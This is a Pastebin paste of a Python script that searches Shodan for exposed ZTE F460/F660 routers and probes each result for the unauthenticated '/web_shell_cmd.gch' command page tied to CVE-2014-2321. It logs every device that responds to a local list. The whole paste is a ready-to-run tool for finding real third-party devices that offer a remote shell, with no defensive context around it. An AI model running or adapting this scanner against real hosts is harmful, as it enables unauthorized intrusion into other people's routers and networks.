Advertisement
KhaosBringer

Search SHODAN for zte rce - CVE-2014-2321 F660 F460.py

Nov 19th, 2020
2,503
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.05 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #
  3. # zte.py
  4. # Search SHODAN for zte rce - CVE-2014-2321 F660 F460
  5. #
  6. # Author: random_robbie
  7.  
  8. import shodan
  9. import sys
  10. import re
  11. import requests
  12. from time import sleep
  13. from requests.packages.urllib3.exceptions import InsecureRequestWarning
  14. requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  15.  
  16.  
  17.  
  18.  
  19. # Configuration
  20. API_KEY = "YOURAPIKEY"
  21. SEARCH_FOR = 'title:"F460" "Mini web server 1.0 ZTE corp 2005" port:"80"'
  22. FILE = "/web_shell_cmd.gch"
  23. session = requests.Session()
  24.  
  25. def filter_result(str):
  26.     str.strip() #trim
  27.     str.lstrip() #ltrim
  28.     str.rstrip() #rtrim
  29.     return str
  30.  
  31. def grab_file (IP,PORT,FILE):
  32.     print ("[*] Testing: "+IP+" on Port: "+PORT+"[*]\n")
  33.     try:
  34.        
  35.         URL = "http://"+IP+":"+PORT+""+FILE+""
  36.        
  37.         headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1"}
  38.         response = session.get(URL, headers=headers, timeout=15, verify=False)
  39.         result = response.text
  40.         if response.status_code == 200:
  41.             text_file = open("./cfg/zte.cfg", "a")
  42.             text_file.write("http://"+IP+":"+PORT+"/web_shell_cmd.gch\n")
  43.             text_file.close()
  44.             print ("[*] zte... Found [*]\n")
  45.             print (result)
  46.         else:
  47.             print ("[*] Not Vulnerable [*]\n ")
  48.     except KeyboardInterrupt:
  49.         print ("Ctrl-c pressed ...")
  50.         sys.exit(1)
  51.            
  52.     except Exception as e:
  53.         print (e)
  54.         print ("[*] Nothing Found on IP:"+IP+" [*]\n")
  55.    
  56.  
  57.  
  58.  
  59.    
  60.    
  61. try:
  62.         # Setup the api
  63.         api = shodan.Shodan(API_KEY)
  64.  
  65.         # Perform the search
  66.         result = api.search(SEARCH_FOR)
  67.  
  68.         # Loop through the matches and print each IP
  69.         for service in result['matches']:
  70.                 IP = service['ip_str']
  71.                 PORT = str(service['port'])
  72.                 CC = service['location']['country_name']
  73.                 grab_file (IP,PORT,FILE)
  74. except KeyboardInterrupt:
  75.         print ("Ctrl-c pressed ...")
  76.         sys.exit(1)
  77.                
  78. except Exception as e:
  79.         print('Error: %s' % e)
  80.         sys.exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement